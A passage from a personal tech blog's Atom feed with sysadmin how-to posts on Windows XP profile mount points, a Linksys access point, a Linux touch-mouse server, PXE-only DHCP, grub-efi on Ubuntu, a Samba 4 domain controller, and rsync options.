src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-6250705267829043385</id><published>2011-05-30T05:17:00.000-07:00</published><updated>2011-05-30T05:39:49.771-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="move documents and settings"/><category scheme="http://www.blogger.com/atom/ns#" term="ntfs volume mount point"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>Moving &quot;Documents and Settings&quot; to another partition in Windows XP</title><content type='html'>Because you can&#39;t depend on Windows, it&#39;s nice to have some kind of backup scheme for when things go wrong. One of those solutions is to store important data on a seperate drive. I&#39;ve seen a lot of people doing this the wrong way. User folder in &lt;em&gt;C:\Documents and Settings\[user]&lt;/em&gt; and a partition D: or E: which then contains folders like &lt;em&gt;Documents&lt;/em&gt;, &lt;em&gt;Downloads&lt;/em&gt;, &lt;em&gt;Photos&lt;/em&gt; and &lt;em&gt;Music&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;A home directory is not just a home directory for nothing, so store your files in there. The solution is simple, with NTFS drivers you can have a &lt;em&gt;volume mount point&lt;/em&gt;, which allows you to use a seperate NTFS filesystem as if it was just a folder in another NTFS filesystem. Of course this doesn&#39;t make it easy yet, so these are the steps that need to be taken to have it fully functional:&lt;ol&gt;&lt;li&gt;Format the new partition as NTFS&lt;/li&gt;&lt;li&gt;In &lt;em&gt;Disk Management&lt;/em&gt; in Windows setup the new filesystem as volume mount point on C:\newdoc&lt;/li&gt;&lt;li&gt;Boot to something that is capable of moving stuff around on your drive (&lt;a href=&quot;http://partedmagic.com/&quot;&gt;Parted Magic&lt;/a&gt; will do)&lt;/li&gt;&lt;li&gt;Copy the contents of &lt;em&gt;Documents and Settings&lt;/em&gt; to the new filesystem&lt;/li&gt;&lt;li&gt;Move &lt;em&gt;Documents and Settings&lt;/em&gt; to &lt;em&gt;olddoc&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Move &lt;em&gt;newdoc&lt;/em&gt; to &lt;em&gt;Documents and Settings&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Reboot into Windows&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Depending on what you used to copy the contents of Documents and Settings you might have to reset some of the file attributes (or permissions even), because otherwise a lot of Desktop.ini files will pop up.&lt;br /&gt;&lt;br /&gt;One last improvement that can be made is to fix the icon for the mount point. By default this will show as a disk icon, but because we abstracted this fact we might also want to show it as a folder. Just create &lt;em&gt;C:\Documents and Settings\autorun.inf&lt;/em&gt; with the following contents:&lt;br /&gt;&lt;pre&gt;[autorun]&lt;br /&gt;icon=%SystemRoot%\system32\SHELL32.dll,3&lt;/pre&gt;&lt;br /&gt;This requires a reboot before visible, but after that will work great.&lt;br /&gt;&lt;br /&gt;Because we make effective use of NTFS volume mount points all legacy applications that probe for &lt;em&gt;C:\Documents and Settings&lt;/em&gt; instead of using the proper functions to find profile directories will work as ever before. Just keep in mind to follow these steps after a Windows reinstall, except for the file copy part!</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/6250705267829043385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/6250705267829043385' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/6250705267829043385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/6250705267829043385'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2011/05/moving-documents-and-settings-to.html' title='Moving &quot;Documents and Settings&quot; to another partition in Windows XP'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-5446483501809483934</id><published>2011-05-11T13:09:00.000-07:00</published><updated>2011-05-13T13:28:53.163-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="access point"/><category scheme="http://www.blogger.com/atom/ns#" term="E4200"/><category scheme="http://www.blogger.com/atom/ns#" term="Linksys"/><category scheme="http://www.blogger.com/atom/ns#" term="wireless"/><title type='text'>Linksys E4200 as an access point</title><content type='html'>At work we bought two Linksys E4200&#39;s to extend our wireless network. We wanted to use them as access points / wireless gateways instead of their normal router configuration. Googling turns up a few half-documented solutions, which might even work in case you&#39;ve got a small home network set up, but I still couldn&#39;t get it to work. So I took one of the routers home, and this is what I&#39;ve come up with (tested at home only right now):&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Start the router&lt;/li&gt;&lt;li&gt;Connect a cable between your computer and one of the E4200 LAN ports&lt;/li&gt;&lt;li&gt;Turn on remote management on the E4200&lt;/li&gt;&lt;li&gt;Verify that the E4200 doesn&#39;t have a local address that belongs in your network&#39;s subnet (change it otherwise)&lt;/li&gt;&lt;li&gt;Connect a cable between the E4200 WAN port and your network&lt;/li&gt;&lt;li&gt;Connect a cable between your computer and network&lt;/li&gt;&lt;li&gt;Turn off the DHCP server on the E4200&lt;/li&gt;&lt;li&gt;Connect a cable between your network and one of the E4200 LAN ports&lt;/li&gt;&lt;li&gt;Connect a cable between the E4200 WAN port and one of the E4200 LAN ports&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Now you can wirelessly connect to your network using the E4200 and you can still access the E4200 admin interface as well!&lt;br /&gt;&lt;br /&gt;Of course this all won&#39;t be necessary when DD-WRT or other alternative firmware releases are available for the E4200, but right now this probably is the best solution.</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/5446483501809483934/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/5446483501809483934' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/5446483501809483934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/5446483501809483934'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2011/05/linksys-e4200-as-access-point.html' title='Linksys E4200 as an access point'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-2477044334681078512</id><published>2011-04-28T13:50:00.000-07:00</published><updated>2011-04-28T14:16:16.416-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="logitech touch mouse"/><category scheme="http://www.blogger.com/atom/ns#" term="perl"/><category scheme="http://www.blogger.com/atom/ns#" term="remote keyboard"/><category scheme="http://www.blogger.com/atom/ns#" term="remote mouse"/><category scheme="http://www.blogger.com/atom/ns#" term="touch mouse"/><category scheme="http://www.blogger.com/atom/ns#" term="touchmoused"/><category scheme="http://www.blogger.com/atom/ns#" term="uinput"/><title type='text'>touchmoused: Logitech Touch Mouse server for Linux</title><content type='html'>Recently I was looking at a way to control the Mac Mini I have connected to my TV. I don&#39;t have a keyboard or mouse connected (only a gamepad), but I do have an iPod Touch. Soon I found &lt;a href=&quot;http://itunes.apple.com/nl/app/touch-mouse/id338237450?mt=8&quot;&gt;Logitech Touch Mouse&lt;/a&gt;, a simple app providing a keyboard and mouse over the network. Of course Logitech isn&#39;t capable of delivering a Linux server for it&#39;s app, so I decided to write it myself.&lt;br /&gt;&lt;br /&gt;After a quick Wireshark dump I started hacking away. Using the recently released &lt;a href=&quot;http://mafipulation.org/blagoblig/reversing&quot;&gt;Shairport&lt;/a&gt; as a reference I started hacking away on my first Perl program. This also being my first program where I had no documentation on protocol whatsoever, it took me a while to figure out I had to listen both on TCP and UDP. Then it also took me a while before I figured Perl doesn&#39;t write directly on a &lt;code&gt;print&lt;/code&gt; statement unless autoflush is set on the file descriptor. I managed to find that one on a page detailing serial port communication with Perl.&lt;br /&gt;&lt;br /&gt;When these hurdles were overcome I could really start interpreting events, sending them through to the Linux UInput facility. Today another big issue was fixed, mouse movement was broken until I added left mouse button support. So anyone trying to send mouse movements using uinput, be sure to enable left mouse button events!&lt;br /&gt;&lt;br /&gt;Anyway, I&#39;ve now come to a point where the Touch Mouse app can be effectively used as a trackpad replacement. Moving, clicking, (two-finger) scrolling, it all works. Also alphanumeric keys are working, &lt;strong&gt;Ctrl&lt;/strong&gt; and &lt;strong&gt;Alt&lt;/strong&gt; are working and some character keys are working. This also means I think I&#39;ve come far enough to promote the app here on my blog, so anyone willing to try it out should move on to my &lt;a href=&quot;https://github.com/mycroes/touchmoused&quot;&gt;github project page&lt;/a&gt;.</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/2477044334681078512/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/2477044334681078512' title='21 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/2477044334681078512'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/2477044334681078512'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2011/04/touchmoused-logitech-touch-mouse-server.html' title='touchmoused: Logitech Touch Mouse server for Linux'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-1195487652320606026</id><published>2011-01-12T12:10:00.000-08:00</published><updated>2011-01-12T12:27:46.950-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dhcp"/><category scheme="http://www.blogger.com/atom/ns#" term="pxe"/><title type='text'>DHCP for PXE booting only</title><content type='html'>At work we use a Novell Netware 5 server (don&#39;t worry, it will be replaced) for, amongst others, DHCP. Not much of an issue, but I wanted to netboot clients so I could do easy operating system installations. When I wanted to add the appropriate options to the DHCP server, I noticed it wasn&#39;t possible. Some searching on the internet revealed some hacks, but nothing you&#39;d easily try on a server in use.&lt;br /&gt;&lt;br /&gt;So then what? I noticed before when I was trying to boot PXE clients and they were attached to the main network (instead of my private network) that they wouldn&#39;t get (accept?) DHCP leases, so there was my solution: add a DHCP server that gives leases to PXE clients only.&lt;br /&gt;&lt;br /&gt;Although this may sound hard, it&#39;s actually pretty easy. PXE clients send along a so-called &lt;em&gt;vendor class identifier&lt;/em&gt; containing the string PXEClient. Using the ISC DHCP server we can easily check for this string, and then hand out a lease to those clients only. One last thing to keep in mind: don&#39;t hand out leases in the same range as the authorative DHCP server.&lt;br /&gt;&lt;br /&gt;Finally, here&#39;s a sample config (/etc/dhcp3/dhcpd.conf):&lt;br /&gt;&lt;pre&gt;ddns-update-style none;&lt;br /&gt;option domain-name &quot;mycroes.nl&quot;;&lt;br /&gt;option domain-name-servers 192.168.5.1;&lt;br /&gt;&lt;br /&gt;default-lease-time 600;&lt;br /&gt;max-lease-time 7200;&lt;br /&gt;log-facility local7;&lt;br /&gt;&lt;br /&gt;class &quot;pxeclients&quot; {&lt;br /&gt; match if substring(option vendor-class-identifier, 0, 9) = &quot;PXEClient&quot;;&lt;br /&gt; filename &quot;pxelinux.0&quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;shared-network 5 {&lt;br /&gt; subnet 192.168.5.0 netmask 255.255.255.0 {&lt;br /&gt; }&lt;br /&gt; pool {&lt;br /&gt;  allow members of &quot;pxeclients&quot;;&lt;br /&gt;  range dynamic-bootp 192.168.5.201 192.168.5.240;&lt;br /&gt; }&lt;br /&gt;}&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/1195487652320606026/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/1195487652320606026' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/1195487652320606026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/1195487652320606026'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2011/01/dhcp-for-pxe-booting-only.html' title='DHCP for PXE booting only'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-3063608228386435988</id><published>2010-09-30T11:02:00.000-07:00</published><updated>2010-09-30T11:07:53.054-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="grub"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Updating Ubuntu without removing grub-efi</title><content type='html'>Ubuntu still is trying to remove grub-efi everytime a new kernel arrives. I have a Mac Mini without a display, so grub-pc is useless for me, so how do I prevent this grub-efi removal all the time?&lt;br /&gt;&lt;br /&gt;Simple solution, just tell apt you also want to install grub-efi, regardless of the availability of a new version:&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;sudo apt-get install linux-generic-pae grub-efi&lt;/em&gt;&lt;br /&gt;Reading package lists... Done&lt;br /&gt;Building dependency tree       &lt;br /&gt;Reading state information... Done&lt;br /&gt;grub-efi is already the newest version.&lt;br /&gt;The following extra packages will be installed:&lt;br /&gt;  linux-image-2.6.35-22-generic-pae linux-image-generic-pae&lt;br /&gt;Suggested packages:&lt;br /&gt;  fdutils linux-doc-2.6.35 linux-source-2.6.35 linux-tools&lt;br /&gt;Recommended packages:&lt;br /&gt;  grub-pc grub lilo&lt;br /&gt;The following NEW packages will be installed:&lt;br /&gt;  linux-image-2.6.35-22-generic-pae&lt;br /&gt;The following packages will be upgraded:&lt;br /&gt;  linux-generic-pae linux-image-generic-pae&lt;br /&gt;2 upgraded, 1 newly installed, 0 to remove and 3 not upgraded.&lt;br /&gt;Need to get 34.1MB of archives.&lt;br /&gt;After this operation, 107MB of additional disk space will be used.&lt;br /&gt;Do you want to continue [Y/n]?&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And voila, grub-pc is a suggested package and no longer forced upon me! Thanks go out to &lt;a href=&quot;http://frankgroeneveld.nl/&quot;&gt;Frank Groeneveld&lt;/a&gt; for suggesting the solution!</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/3063608228386435988/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/3063608228386435988' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/3063608228386435988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/3063608228386435988'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2010/09/updating-ubuntu-without-removing-grub.html' title='Updating Ubuntu without removing grub-efi'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-7471970735547452370</id><published>2010-09-30T10:54:00.000-07:00</published><updated>2010-12-08T13:57:48.591-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="active directory"/><category scheme="http://www.blogger.com/atom/ns#" term="bind"/><category scheme="http://www.blogger.com/atom/ns#" term="kerberos"/><category scheme="http://www.blogger.com/atom/ns#" term="maverick"/><category scheme="http://www.blogger.com/atom/ns#" term="samba"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Installing Samba 4 on Ubuntu Maverick (10.10)</title><content type='html'>Samba 4 is currently able to serve as a active directory domain controller for both Windows XP and Windows 7 (as tested by me) and probably for other Windows versions too. With Ubuntu 10.10 there finally is a recent enough version to make use of all the current Samba 4 functionality, however some issues still remain. This post will provide a short guide to setting up Samba 4 on your Ubuntu Maverick system, but it won&#39;t go into more advanced Samba topics. At first I wanted this to be a full step-by-step guide, however I can&#39;t find the time to complete it as such (I started writing when Maverick was in beta). I welcome comments adding more details and I hope everyone will be able to follow this howto.&lt;br /&gt;&lt;br /&gt;Let&#39;s start by updating the system.&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;sudo apt-get update&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Next add a PPA which includes a more recent Bind 9 version. I believe this is mainly needed so your Windows clients can send DNS updates to the domain controller, but I can&#39;t say I thoroughly tested with the Ubuntu Maverick distributed version.&lt;br /&gt;&lt;br /&gt;Personally I used bind9 from Hauke Lampe&#39;s PPA (&lt;a href=&quot;https://launchpad.net/~hauke/+archive/bind9&quot;&gt;BIND 9 Updates : Hauke Lampe&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Install samba4 and bind9:&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;sudo apt-get install samba4 samba4-clients bind9&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Move existing smb.conf:&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;sudo mv /etc/samba/smb.conf{,.old}&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Create a samba 4 config and provision the database:&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;sudo LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=samdom.example.com --domain=SAMDOM --adminpass=SOMEPASSWORD --server-role=&#39;domain controller&#39;&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;You might be wondering what this &lt;em&gt;LD_PRELOAD&lt;/em&gt; is about, well it&#39;s needed because some stuff is missing the link to the dcerpc library.&lt;br /&gt;&lt;br /&gt;Now we want to start samba, there&#39;s another issue ahead. The samba4 init script doesn&#39;t check for the existence of the samba directory in /var/run, so let&#39;s add that ourselves.&lt;br /&gt;&lt;pre&gt;# /etc/init.d/samba4&lt;br /&gt;...&lt;br /&gt;  log_daemon_msg &quot;Starting Samba 4 daemon&quot; &quot;samba&quot;&lt;br /&gt;&lt;br /&gt;&lt;ins&gt;  if [ ! -d $(dirname $SAMBAPID) ]; then&lt;br /&gt;   mkdir -p $(dirname $SAMBAPID)&lt;br /&gt;  fi&lt;/ins&gt;&lt;br /&gt;&lt;br /&gt;  if !...&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;We&#39;re still not there yet... Remember the missing library link? It will also return while running Samba, so let&#39;s work around it by creating local versions of the samba programs that will load the library:&lt;br /&gt;&lt;br /&gt;Create &lt;em&gt;/usr/local/sbin/samba&lt;/em&gt;:&lt;br /&gt;&lt;pre&gt;#!/bin/sh&lt;br /&gt;LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/sbin/$(basename $0)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now symlink samba_dnsupdate and samba_spnupdate to the same file:&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;sudo ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;/em&gt;&lt;br /&gt;$ &lt;em&gt;sudo ln -s /usr/local/sbin/samba{,_spnupdate}&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now start samba:&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;sudo /etc/init.d/samba4 start&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Let&#39;s do a quick test if it&#39;s working:&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;smbclient -UAdministrator -Llocalhost&lt;/em&gt;&lt;br /&gt;Password for [SAMDOM\Administrator]:&lt;br /&gt;&lt;br /&gt; Sharename       Type       Comment&lt;br /&gt; ---------       ----       -------&lt;br /&gt; netlogon        Disk       &lt;br /&gt; sysvol          Disk       &lt;br /&gt; IPC$            IPC        IPC Service (Samba 4.0.0alpha12-GIT-UNKNOWN)&lt;br /&gt; ADMIN$          Disk       DISK Service (Samba 4.0.0alpha12-GIT-UNKNOWN)&lt;br /&gt;REWRITE: list servers not implemented&lt;/pre&gt;&lt;br /&gt;Seems to be working!&lt;br /&gt;&lt;br /&gt;Now let&#39;s get DNS working too. Start by editing named.conf.local:&lt;br /&gt;&lt;pre&gt;// /etc/bind/named.conf.local&lt;br /&gt;...&lt;br /&gt;//include &quot;/etc/bind/zones.rfc1918&quot;;&lt;br /&gt;&lt;br /&gt;&lt;ins&gt;include &quot;/var/lib/samba/private/named.conf&quot;;&lt;/ins&gt;&lt;/pre&gt;&lt;br /&gt;Thought we were done? Think again! AppArmor is protecting our samba4 files from bind, I&#39;d rather have bind read them though...&lt;br /&gt;&lt;pre&gt;# /etc/apparmor.d/usr.sbin.named&lt;br /&gt;...&lt;br /&gt;&lt;ins&gt;/var/lib/samba/private/* rw,&lt;br /&gt;/var/lib/samba/private/dns/* rw,&lt;/ins&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Reload AppArmor profiles and restart bind:&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;sudo /etc/init.d/apparmor reload&lt;/em&gt;&lt;br /&gt;$ &lt;em&gt;sudo /etc/init.d/bind9 restart&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;Bind should now start without any issues. Next is to actually use bind for DNS:&lt;br /&gt;&lt;pre&gt;# /etc/resolv.conf&lt;br /&gt;&lt;ins&gt;nameserver 127.0.0.1&lt;/ins&gt;&lt;/pre&gt;&lt;br /&gt;You can verify it&#39;s working by querying dns for kerberos:&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;host -t SRV _kerberos._udp.samdom.example.com&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;This should return an SRV record, if not, something&#39;s broken!&lt;br /&gt;&lt;br /&gt;Now let&#39;s move the Kerberos config into place:&lt;br /&gt;&lt;pre&gt;$ &lt;em&gt;sudo cp /var/lib/samba/private/krb5.conf /etc/&lt;/em&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;You can verify it&#39;s working by installing &lt;em&gt;krb5-user&lt;/em&gt; and doing a &lt;em&gt;kinit Administrator&lt;/em&gt;, but since Kerberos comes out of the box with samba, I&#39;m assuming it&#39;s working (it always did for me).&lt;br /&gt;&lt;br /&gt;If you chose to add a PPA with a recent Bind version, you can enable Kerberized DNS updates by pointing named to the correct principal and keytab. More details on this can be found on the &lt;a href=&quot;http://wiki.samba.org/index.php/Samba4/HOWTO&quot;&gt;Samba 4 howto&lt;/a&gt;, I will add my own details here later.&lt;br /&gt;&lt;br /&gt;&lt;!--&lt;pre&gt;# /etc/bind/named.conf.options&lt;br /&gt;&lt;/pre&gt;--&gt;&lt;br /&gt;&lt;br /&gt;You should now be able to administer your Samba 4 domain controller using the microsoft utilities for windows server management, the Samba net tool or direct LDAP queries.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Updates&lt;/b&gt;&lt;br /&gt;&lt;dl&gt;&lt;br /&gt;&lt;dt&gt;dec 8 2010, 22:56&lt;/dt&gt;&lt;br /&gt;&lt;dd&gt;Added missing apparmor policy changes&lt;/dd&gt;&lt;br /&gt;&lt;/dl&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/7471970735547452370/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/7471970735547452370' title='21 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/7471970735547452370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/7471970735547452370'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2010/09/installing-samba-4-on-ubuntu-maverick.html' title='Installing Samba 4 on Ubuntu Maverick (10.10)'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-3132542805559779434</id><published>2010-09-06T12:56:00.000-07:00</published><updated>2010-09-06T13:04:56.581-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="rsync"/><category scheme="http://www.blogger.com/atom/ns#" term="ssh"/><category scheme="http://www.blogger.com/atom/ns#" term="sudo"/><title type='text'>Rsync and remote sudo</title><content type='html'>Running rsync with superuser privileges can be hard at times, but here&#39;s an easy solution works on Ubuntu 10.04 (some other solutions failed to work):&lt;br /&gt;&lt;pre&gt;&lt;code&gt;$  echo &quot;password&quot; | ssh sudo -S -v&lt;br /&gt;$ sudo rsync -a -e ssh --rsync-path=&quot;sudo rsync&quot;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The first line will touch the timestamp for sudo, the second line will really sync. Keep in mind that this doesn&#39;t take care of credentials for ssh, so you will need to take care of this using keys, agents or some external authentication mechanism like Kerberos.</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/3132542805559779434/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/3132542805559779434' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/3132542805559779434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/3132542805559779434'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2010/09/rsync-and-remote-sudo.html' title='Rsync and remote sudo'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-6769127995251511135</id><published>2010-08-26T04:04:00.000-07:00</published><updated>2010-08-26T04:25:52.440-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="delete"/><category scheme="http://www.blogger.com/atom/ns#" term="delete excluded"/><category scheme="http://www.blogger.com/atom/ns#" term="filter"/><category scheme="http://www.blogger.com/atom/ns#" term="rsync"/><title type='text'>rsync with --delete-excluded</title><content type='html'>While setting up daily (offsite) automated backups I ran into a few issues. First of all backups didn&#39;t complete before people were getting to work again, so I had to manually stop them and start them at a lower transferrate. This is easily done by passing rsync the &lt;code&gt;--bwlimit=&amp;lt;kbps&amp;gt;&lt;/code&gt; option.&lt;br /&gt;&lt;br /&gt;Next I often want to sync just part of the tree, so I would add &lt;code&gt;--exclude=/&amp;lt;folder&amp;gt;&lt;/code&gt; to the options to exclude all folders I don&#39;t want. However, I also exclude some files and I use &lt;code&gt;--delete&lt;/code&gt;, which has the nasty side-effect of &lt;em&gt;not&lt;/em&gt; deleting the excluded files on the receiving end (if they were deleted on the sender), thus leaving non-empty folders on the receiver and generating errors because the non-empty folders aren&#39;t deleted. There&#39;s an option that &#39;fixes&#39; this, and that&#39;s &lt;code&gt;--delete-excluded&lt;/code&gt;. This option will delete excluded files on the receiving end. You can guess that combined with my &lt;code&gt;--exclude=/&amp;lt;folder&amp;gt;&lt;/code&gt; this would result in deleting an entire branch of the tree that should not be removed... The solution is to specify that the exclude is a &lt;em&gt;r&lt;/em&gt;eceiving side exclude, because excludes are server side exclude by default when &lt;code&gt;--delete-excluded&lt;/code&gt; is also provided. This can be done by using a filter rule instead of an exclude rule, resulting in the following option: &lt;code&gt;--filter=-r_/&amp;lt;folder&amp;gt;&lt;/code&gt;. The &lt;code&gt;-&lt;/code&gt; is to specify it&#39;s an exclude, the &lt;code&gt;r&lt;/code&gt; specifies it&#39;s for the receiving side and the &lt;code&gt;_&lt;/code&gt; seperates the modifiers from the path (space is also allowed, but using an underscore prevents the need for quoting or even double-quoting). Now there&#39;s one nasty issue remaining: the excluded folder will still be parsed on the sender, so let&#39;s make it an exclude for both sender and receiver: &lt;code&gt;--filter=-rs_/&amp;lt;folder&amp;gt;&lt;/code&gt;.&lt;br /&gt;&lt;br /&gt;Using the above it&#39;s now possible to exclude files from an rsync transfer, without removing them on the receiving side, but with deletion of exclude files on the receiving end. In short: &lt;code&gt;rsync --exclude=&#39;*.tmp&#39; --filter=&#39;-rs_/important/&#39; --delete --delete-excluded &amp;lt;source&amp;gt; &amp;lt;dest&amp;gt;&lt;/code&gt; will leave the &lt;em&gt;important&lt;/em&gt; folder alone on the destination, but will remove all &lt;em&gt;.tmp&lt;/em&gt; files in the destination.</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/6769127995251511135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/6769127995251511135' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/6769127995251511135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/6769127995251511135'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2010/08/rsync-with-delete-excluded.html' title='rsync with --delete-excluded'/><author><name>Michael 